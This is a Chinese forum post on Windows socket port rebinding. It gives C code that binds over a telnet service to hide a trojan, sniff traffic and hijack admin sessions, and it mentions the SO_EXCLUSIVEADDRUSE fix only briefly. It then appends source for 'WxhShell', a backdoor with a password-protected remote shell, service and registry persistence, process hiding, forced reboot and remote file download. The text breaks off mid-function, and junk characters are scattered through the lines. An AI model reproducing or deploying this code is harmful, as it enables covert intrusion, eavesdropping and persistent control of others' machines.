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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7[rn ,8@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vvU;55-  
8P.t  
  saddr.sin_family = AF_INET; ClCb.Ozj4  
B$1e AwT9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S$HzuK\f  
d kHcG&)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,A[40SZA  
iNUisl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TR L4r_  
`C%,Nj  
  这意味着什么?意味着可以进行如下的攻击: : ~"^st_[!  
6;60}y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <W2}^q7F^  
*91iFeKj=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >"q0"zrN,  
&?IOrHSv!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .+t{o [  
^W5rL@h_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~aQ>DpSEf  
6a[D]46y,2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kSv?p1\@&P  
$qYtN`b,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z'=*pIY5f  
iT1"Le/N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'g$~ij ;x  
Q:& ,8h[  
  #include {9vvj  
  #include :{pvA;f  
  #include L MC-1  
  #include    Dq/[ g,(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >d!w&0z>  
  int main() O+%Y1=S[WQ  
  { %Qgo0  
  WORD wVersionRequested; 8W)3rD>  
  DWORD ret; }0 0mJ]H(  
  WSADATA wsaData; 7Te`#"  
  BOOL val; C(Ujx=G+3  
  SOCKADDR_IN saddr; "(PJh\S>S  
  SOCKADDR_IN scaddr; j*t>CB4  
  int err; r5%K2q{  
  SOCKET s; #F@53N  
  SOCKET sc; !f-mC,d  
  int caddsize; 5\8Ig f>  
  HANDLE mt; m8,P-m  
  DWORD tid;   Y$uXBTR`y/  
  wVersionRequested = MAKEWORD( 2, 2 ); oe_l:Y%  
  err = WSAStartup( wVersionRequested, &wsaData ); qUA&XUJ  
  if ( err != 0 ) { VJJGTkm  
  printf("error!WSAStartup failed!\n");  *>j u1f  
  return -1; %Js3Y9AL C  
  } dRTtDH"%  
  saddr.sin_family = AF_INET; 767xCP  
   z)xGZ*{=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `~vqu69MF9  
e;~[PYeu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b)J(0,9`G"  
  saddr.sin_port = htons(23); kD dY i7g>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1,=U^W.G  
  { 7D\#1h  
  printf("error!socket failed!\n"); Rcs7 'q5  
  return -1; m663%b(5>  
  } y?GRxoCD"e  
  val = TRUE; {LYA?w^GT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pj;cL ]L  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7GY[l3arxv  
  { v^2K=f[nE  
  printf("error!setsockopt failed!\n"); GQhzQM1HS  
  return -1; `An|a~G1  
  } NX&mEz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; km,}7^?F0r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mV^+`GWvo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I$xfCu  
G`!#k!&r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QE[ETv  
  { J @C8;]  
  ret=GetLastError(); *i|O!h1St  
  printf("error!bind failed!\n"); 34_:.QK-  
  return -1; TzmoyY  
  } YQe9g>G&  
  listen(s,2); pqFgi_2m  
  while(1) w]X~I/6g  
  { u'M \m7  
  caddsize = sizeof(scaddr); ' Z:FGSwT  
  //接受连接请求 .9{Sr[P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fC+<n{"C  
  if(sc!=INVALID_SOCKET) 'hfQ4EN  
  { hd1(q33  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e8 4[B.  
  if(mt==NULL) d]6.$"\" p  
  { 1.U5gW/3L  
  printf("Thread Creat Failed!\n"); U">w3o|  
  break; NBZFIFO<  
  } zC #[  
  } LnP={s  
  CloseHandle(mt); {\9vW; '  
  } pE<dK.v6  
  closesocket(s); Bpt%\LK\~O  
  WSACleanup(); I!3qb-.Q  
  return 0; |1C=Ow*"  
  }   PrqN5ND  
  DWORD WINAPI ClientThread(LPVOID lpParam) mu`h6?v  
  { T#%r\f,l0  
  SOCKET ss = (SOCKET)lpParam; H!mNHY_fA  
  SOCKET sc; 2iC7c6hc  
  unsigned char buf[4096]; KR4X&d6  
  SOCKADDR_IN saddr; 1uBnU2E  
  long num; gBb+Q,  
  DWORD val; Y1?w f.  
  DWORD ret; G6wBZ?)k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !j[Oy r|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h}r64<Y2{  
  saddr.sin_family = AF_INET; ?4v&TB@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,?g}->ZB  
  saddr.sin_port = htons(23); HLm6BtE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~/s(.oji  
  { 6cH.s+  
  printf("error!socket failed!\n");  %~Vgz(/  
  return -1; e@N@8i"q5  
  } H:byCFN-  
  val = 100; tmEF7e`(o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VsEMF i=  
  { F;$z[z  
  ret = GetLastError(); TpXbJ]o9  
  return -1; j"o8]UT/  
  } a oj6/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ve\^(9n  
  { 'jh9n7mH  
  ret = GetLastError(); [~e{58}J|  
  return -1; xQ4 5B` $  
  } 6$]@}O^V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W2cgxT  
  { ?/"Fwjau  
  printf("error!socket connect failed!\n"); _Bh-*e2k  
  closesocket(sc);  Za,rht  
  closesocket(ss); +Y;/10p  
  return -1; a{*r^m'N  
  } Dn/{  s$\  
  while(1) j)?[S  
  { '4 T}$a"i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O6JH)Ka"S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sh&n DdF"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'MZX"t  
  num = recv(ss,buf,4096,0); ?Pg{nlJvq  
  if(num>0) aVTTpMY  
  send(sc,buf,num,0); ~2 aR>R_nT  
  else if(num==0) ZH6#(;b  
  break; 4rkj$  
  num = recv(sc,buf,4096,0); 1=Npq=d  
  if(num>0) w0W9N%f#=  
  send(ss,buf,num,0); pxC:VJ;  
  else if(num==0) 3i1e1Lj1  
  break; l0AVyA4RFV  
  } Qb "\j  
  closesocket(ss); eru2.(1  
  closesocket(sc); `-Yo$b;:  
  return 0 ; ` s [77V>  
  } m"3gTqG  
D}4*Il?  
C'5b)0km  
========================================================== xF|P6GXg  
up`.#GWm  
下边附上一个代码,,WXhSHELL DVNx\t  
jm~(OLg  
========================================================== dC&{zNG  
)0F\[Jl}  
#include "stdafx.h" TNgf96) y  
X{2))t%  
#include <stdio.h> B,rpc\_  
#include <string.h> "p,TYjT?R  
#include <windows.h> `*?8<Vm  
#include <winsock2.h> Wp5w}8g  
#include <winsvc.h> +%Y`>1I^#  
#include <urlmon.h> yxv]G6  
%A 4F?/E  
#pragma comment (lib, "Ws2_32.lib") T\}?  
#pragma comment (lib, "urlmon.lib") t4HDt\}&k~  
St9+/Md=jQ  
#define MAX_USER   100 // 最大客户端连接数 !a %6nBo  
#define BUF_SOCK   200 // sock buffer s Yp?V\Y"  
#define KEY_BUFF   255 // 输入 buffer eAkC-Fm  
]*fiLYe9  
#define REBOOT     0   // 重启 R^t )~\d  
#define SHUTDOWN   1   // 关机 2Mqac:L  
"Yh[-[,  
#define DEF_PORT   5000 // 监听端口 wD9Gl.uQ  
bD*z"e  
#define REG_LEN     16   // 注册表键长度 . Y@)3  
#define SVC_LEN     80   // NT服务名长度 w?u4-GT  
e* 2ay1c  
// 从dll定义API OXT'$]p.*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s+mNr3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t?bc$,S"\(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G'>?/l#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -v]v m3Na  
F|Y}X|x8Q  
// wxhshell配置信息 p~X=<JM  
struct WSCFG { ChVur{jR  
  int ws_port;         // 监听端口 >LqW;/&S<  
  char ws_passstr[REG_LEN]; // 口令 :i{$p00 G  
  int ws_autoins;       // 安装标记, 1=yes 0=no xw1@&QwM  
  char ws_regname[REG_LEN]; // 注册表键名 zpPzXQv]/  
  char ws_svcname[REG_LEN]; // 服务名 i^Ba?r;*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }Z^r<-N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4[q'1N6-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nd b_|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3WH"NC-O<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /Q|guJx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G5;N#^myJ  
!%v=9muay  
}; xRTr<j0s  
QtF'x<cB  
// default Wxhshell configuration [X9s\H  
struct WSCFG wscfg={DEF_PORT, drv"I[}{A  
    "xuhuanlingzhe", +A 3Q$1F  
    1, [xaglZ9HNo  
    "Wxhshell", g)o?nAr  
    "Wxhshell", B Q) 1)8r  
            "WxhShell Service", y7&8P8R  
    "Wrsky Windows CmdShell Service", g 0=Q>TzY  
    "Please Input Your Password: ", e+_~a8 -|  
  1, PxqRb  
  "http://www.wrsky.com/wxhshell.exe", C}})dL;(  
  "Wxhshell.exe" \1^qfw  
    }; T[$! ^WT  
Y(:.f-Du  
// 消息定义模块 O(P ,!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 47(/K2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0O_acO 4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \I3={ii0  
char *msg_ws_ext="\n\rExit."; ]7#@lL;'0  
char *msg_ws_end="\n\rQuit."; wF@mHv  
char *msg_ws_boot="\n\rReboot..."; .bwKG`F  
char *msg_ws_poff="\n\rShutdown..."; .1O  
char *msg_ws_down="\n\rSave to "; |G!PG6%1  
?AL;m.X-@  
char *msg_ws_err="\n\rErr!"; Stq [[S5P  
char *msg_ws_ok="\n\rOK!"; jsXj9:X I  
83^|a5  
char ExeFile[MAX_PATH]; > `uk2QdC  
int nUser = 0; d&!ZCq#_e  
HANDLE handles[MAX_USER]; KINKq`Sx  
int OsIsNt; 3n\eCdV-b<  
hM": ?Rx  
SERVICE_STATUS       serviceStatus; ZO^Y9\L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O@n1E'S/  
/M Hml0u  
// 函数声明 Wa/&H$d\u@  
int Install(void); l7g< $3  
int Uninstall(void); 2f;fdzjk8K  
int DownloadFile(char *sURL, SOCKET wsh); +`@)87O  
int Boot(int flag); '[XtARtY`  
void HideProc(void); ]["=K!la:  
int GetOsVer(void); > x$eKN  
int Wxhshell(SOCKET wsl); .:<-E%  
void TalkWithClient(void *cs); !3E %u$-}  
int CmdShell(SOCKET sock); gEejLyOag  
int StartFromService(void); =z=$S]qN  
int StartWxhshell(LPSTR lpCmdLine); Hl@)j   
U ?%1:-#F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K >-)O=$s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dc ]+1 A  
01 UEd8  
// 数据结构和表定义 09_L^'`  
SERVICE_TABLE_ENTRY DispatchTable[] = |'C {nTX  
{ 6?"k&O  
{wscfg.ws_svcname, NTServiceMain}, Q t!X<.  
{NULL, NULL} evbqBb21b  
}; W?*]' 0  
%B;e 7 UJ  
// 自我安装 #U46Au  
int Install(void) FIB 9W@oao  
{ iMrNp  
  char svExeFile[MAX_PATH]; R4?OFhN9  
  HKEY key; "zT#*>U  
  strcpy(svExeFile,ExeFile); ~6:<OdQ  
q. %[!O  
// 如果是win9x系统,修改注册表设为自启动 sQBl9E'!be  
if(!OsIsNt) { yAge2m]<B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rPk=9I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r306`)kX  
  RegCloseKey(key); qyfw$$X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d[b(+sHp a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FwdRM)1)  
  RegCloseKey(key); F]#rH   
  return 0; {"cS:u  
    } kt.y"^  
  } $@[`/Uh   
} Jgf73IX[  
else { #$<7  
yK1Z&7>J>  
// 如果是NT以上系统,安装为系统服务 ]5!}S-uJq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %T.4Aj  
if (schSCManager!=0) `M "O #  
{ ?qn0].  
  SC_HANDLE schService = CreateService hkS K;  
  ( kW'xuZ&  
  schSCManager, kfod[*3  
  wscfg.ws_svcname, 2{<5?Op  
  wscfg.ws_svcdisp, ?A[q/n:K  
  SERVICE_ALL_ACCESS,  CB<i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YKjm_)8]w  
  SERVICE_AUTO_START, Zcaec#  
  SERVICE_ERROR_NORMAL, -SZW[T<N"  
  svExeFile, l7{Xy_66  
  NULL, l9U^[;D  
  NULL, )PM&x   
  NULL, rPK)=[MZ  
  NULL, Z3ucJH/)V  
  NULL 5LT{]&`9  
  ); EF7Y4lp  
  if (schService!=0) \]uo^@$bm  
  { p8%/T>hK  
  CloseServiceHandle(schService); W!$aK)]4u  
  CloseServiceHandle(schSCManager); tMWDKatb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \6UK:'5{  
  strcat(svExeFile,wscfg.ws_svcname); ?m)3n0Uh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R7/"ye:7J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f0 ;Fokt(  
  RegCloseKey(key); yQ33JQr  
  return 0; a88(,:t  
    } 3NEbCILF  
  } -y8?"WB(b  
  CloseServiceHandle(schSCManager); :R/szE*Ak  
} `|p3@e  
} wnf'-dw]  
B&l5yI b  
return 1; L'1p]Z"  
} s!\:%N  
)G7")I J/X  
// 自我卸载 :hre|$@{a  
int Uninstall(void) +V"t't7  
{ 8vhg{L..  
  HKEY key; ";jj`  
\r_-gn'1b  
if(!OsIsNt) { O-rHfIxY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 99'e)[\  
  RegDeleteValue(key,wscfg.ws_regname); 29]T:I1d[  
  RegCloseKey(key); H /E.R[\+x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F`l r5  
  RegDeleteValue(key,wscfg.ws_regname); F,Ls1  
  RegCloseKey(key); 0]tr&BLl*  
  return 0; ={Bcbj{  
  } 4I"p>FIkY  
} [m>kOv6>^  
} eq0&8/=  
else { .xR J )9q  
6 ufF34tA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aP}kl[W  
if (schSCManager!=0) f'hrS}e  
{ }i32  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5*.JXx E;U  
  if (schService!=0) JLS|G?#0  
  { gr\UI!]F  
  if(DeleteService(schService)!=0) { .OLm{  
  CloseServiceHandle(schService); kaSy 9Y{  
  CloseServiceHandle(schSCManager); %3L4&W _T  
  return 0; %P!6cyQS  
  } C_SJ4Sh  
  CloseServiceHandle(schService); KrcL*j&^  
  } +{Qk9Z  
  CloseServiceHandle(schSCManager); BDW%cs  
} aCu 8 D!  
} \2q!2XWgK  
^Ge3"^x1  
return 1; Wb*A};wE  
} n H)6mOYp  
6#sd"JvtQ  
// 从指定url下载文件 L&[uE;ro  
int DownloadFile(char *sURL, SOCKET wsh) Fa}3UVm  
{ M2UF3xD   
  HRESULT hr; jf_xm=n  
char seps[]= "/";  .;ptgX  
char *token; 0PiD<*EA  
char *file; +!dWQ=W  
char myURL[MAX_PATH]; Qh4@Nl#Ncf  
char myFILE[MAX_PATH]; ~x:\xQti  
Ks|qJ3;  
strcpy(myURL,sURL); DnbT<oEL  
  token=strtok(myURL,seps); [If%+mHdU  
  while(token!=NULL) -;5WMX 6  
  { AE1EZ#  
    file=token; (*{Y#XD{  
  token=strtok(NULL,seps); {)E)&lL  
  } ao2NwH##  
~>h_#sIBC  
GetCurrentDirectory(MAX_PATH,myFILE); ,{"%-U#z  
strcat(myFILE, "\\"); )bJS*#  
strcat(myFILE, file); vbH?[ Zr?  
  send(wsh,myFILE,strlen(myFILE),0); $a'n{EP  
send(wsh,"...",3,0); ^gP pmb<x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a[ Pyxx_K  
  if(hr==S_OK) E-P;3lS~  
return 0; .M3]\I u  
else lX^yd5M&f  
return 1; >HvgU_  
u9-:/<R#}y  
} q)Qd+:a7{  
JmHEYPt0  
// 系统电源模块 (/x%zmY;/U  
int Boot(int flag) nE$8-*BZ_  
{ #\15,!*a=  
  HANDLE hToken; 13+f ^  
  TOKEN_PRIVILEGES tkp; 1C,=1bY  
05]y*I  
  if(OsIsNt) { j<H5i}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T(Q(7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X rBe41  
    tkp.PrivilegeCount = 1; gP&G63^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @FC|1=+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); du,mbTQib  
if(flag==REBOOT) { [sxJ<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,,U8X [A  
  return 0; oD0WHp  
} uc>u=kEue  
else { in>Os@e#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s L;  
  return 0; >A'Q9Tia;  
} azEN_oUV  
  } "pQFIV,  
  else { qa>Z?/w  
if(flag==REBOOT) { Dt)O60X3>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HF(pC7/a:  
  return 0; Fjq~^_8  
} SSoD}N  
else { o75Hit  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7w}PYp1Z'~  
  return 0; XTzz/.T;Z  
} *@2+$fgz  
} 58TH|Rj+I  
9j[lr${A  
return 1; dfo_R  
} w(>mP9Cb  
33O O%rWi  
// win9x进程隐藏模块 ]UtfI  
void HideProc(void) /UwB6s(  
{ n U0  
-SyQ`V)T7N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i3bDU(GS  
  if ( hKernel != NULL ) W3AtO  
  { UbWeE,T~S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bSK> p3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %Z:07|57I[  
    FreeLibrary(hKernel); u\)2/~<]  
  } ,CGq_>Z  
\J]qd4tF  
return; }"QV{W  
} m%?+;V  
G@Jl4iHug"  
// 获取操作系统版本 S,I|8 YE  
int GetOsVer(void) $w:7$:k  
{ &:]ej6 V'[  
  OSVERSIONINFO winfo; M1>2Q[h7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z8MKGM  
  GetVersionEx(&winfo); !YM;5vte+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (x+C =1,  
  return 1; g8+Ke'=_  
  else y<r@zb9  
  return 0; HU~,_m  
} [{K   
r~<I5MZY  
// 客户端句柄模块 JDa=+\_  
int Wxhshell(SOCKET wsl) ;*~y4'{z  
{ {[ E7Cf  
  SOCKET wsh; gwm}19JC  
  struct sockaddr_in client; ('9LUFw\  
  DWORD myID; CrTGC%w{=  
RV%aFI )  
  while(nUser<MAX_USER) 49e~/YY  
{ *8WcRx  
  int nSize=sizeof(client); vk^/[eha  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l^LYSZg'R8  
  if(wsh==INVALID_SOCKET) return 1; RyAss0Sm^  
z~Ec*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }3}{}w0Y  
if(handles[nUser]==0) 4R;6u[ a]u  
  closesocket(wsh); [~%\:of70n  
else ~_;x o?@ba  
  nUser++; S8zc1!  
  } {H\(H _X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hwon ^?  
i&%/]Nq  
  return 0; ,hggmzA~  
} ec$kcD!  
h_SDW %($  
// 关闭 socket 6)@Y41H]C  
void CloseIt(SOCKET wsh) GadZ!_.f  
{ Z*M]AvO+#  
closesocket(wsh); !8z,}HUdK  
nUser--; B\tP{}P8{  
ExitThread(0); DGQGV[9%4C  
} _Di";fe?  
O|Z5SSlk  
// 客户端请求句柄 mvCH$}w8&  
void TalkWithClient(void *cs) NrNxI'M G  
{ Z^fkv  
(,i&pgVZ  
  SOCKET wsh=(SOCKET)cs; F5Xj}`}bq  
  char pwd[SVC_LEN]; Ki8]+W37  
  char cmd[KEY_BUFF]; `Dn"<-9:  
char chr[1]; O%Mi`\W@  
int i,j; (|*CVI;  
[1 ?  
  while (nUser < MAX_USER) { ,[Bv\4Ah  
Bq20U:f  
if(wscfg.ws_passstr) { A-8[8J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z0(}doh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T&/ ]|4  
  //ZeroMemory(pwd,KEY_BUFF); \dq}nOsX*  
      i=0; ;QiSz=DyA  
  while(i<SVC_LEN) { k9'`<82Y  
^xpiNP!?a  
  // 设置超时  _xyq25/  
  fd_set FdRead; Zeeixg-1<  
  struct timeval TimeOut; S(c&XJR  
  FD_ZERO(&FdRead); GJ3@".+6  
  FD_SET(wsh,&FdRead); pKxq\U  
  TimeOut.tv_sec=8; )PU_'n=>  
  TimeOut.tv_usec=0; `!JcQ'u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  $O)fHD'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]W7e2:Hra  
 /uyZ[=5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2brxV'tk  
  pwd=chr[0]; 5d4/}o}%"  
  if(chr[0]==0xd || chr[0]==0xa) { {FrcpcrQa  
  pwd=0; %]iDhXLr  
  break; g aq"+@fH  
  } c(R=f +  
  i++; k4AF .U`I  
    } Pf4b/w/  
 MoFAQe  
  // 如果是非法用户,关闭 socket tr<iFT}C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Ji nX'z  
} qi&;2Yv  
C.& R,$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BbV@ziL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d7*fP S  
Rl%?c5U/$  
while(1) { y\M Kd[G7  
"P@jr{zvMd  
  ZeroMemory(cmd,KEY_BUFF); x9U(,x6r  
BwpSw\\?@  
      // 自动支持客户端 telnet标准   _T{ "F  
  j=0; IGtpL[.;/  
  while(j<KEY_BUFF) { soTmKqj E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^`MGlI}   
  cmd[j]=chr[0]; 3G;#QK -c  
  if(chr[0]==0xa || chr[0]==0xd) { N1vPY]8  
  cmd[j]=0; }%@q; "9`  
  break; m! 3e>cI  
  } FthrI  
  j++; h3<L,Olp  
    } -!C9x?gNY  
n'42CE  
  // 下载文件 5N_w(B  
  if(strstr(cmd,"http://")) { zD9gE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1h[xVvo<L  
  if(DownloadFile(cmd,wsh)) SFiK_;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(b C.  
  else KH~o0 W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Y%@fZf x  
  } 2# 1G)XI  
  else { ^_Ap?zn  
9r efv  
    switch(cmd[0]) { k-zkb2  
  C;EC4n+s  
  // 帮助 $ncJc  
  case '?': { ptlcG9d-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \D<w:\P  
    break; a  St  
  } ]c=nkS  
  // 安装 "3r7/>xy  
  case 'i': { PE\.JU  
    if(Install()) ,ezC}V0M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RM(MCle}  
    else j mH=W)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U =G}@Y  
    break; ?C6DK{S(  
    } ^F e %1Lnt  
  // 卸载 b)e';M  
  case 'r': { e0nr dM[i  
    if(Uninstall()) ^s;xLGl]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *2(W`m  
    else ,2R7AHk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TB@0j ;g  
    break; Q~y) V  
    } K4[X P]\jr  
  // 显示 wxhshell 所在路径 ?: XY3!{  
  case 'p': { ylo/]pVs  
    char svExeFile[MAX_PATH]; @7fx0I'n  
    strcpy(svExeFile,"\n\r"); f-BEfC,}'  
      strcat(svExeFile,ExeFile); UgBD| ~zu  
        send(wsh,svExeFile,strlen(svExeFile),0); @_L:W1[  
    break; q"uP%TN  
    } RY4b <i3  
  // 重启 &W|r P(  
  case 'b': { 6iZ:0y0t+6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5x} XiMM  
    if(Boot(REBOOT)) ))<1"7D^^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kYl')L6  
    else { NF0=t}e  
    closesocket(wsh); v1m'p:7uGB  
    ExitThread(0); ~*-%tFSv  
    } VGPBD-6)  
    break; {$ (X,E  
    } @8;0p  
  // 关机 Ug1[pONk  
  case 'd': { \(.])I>)eh  
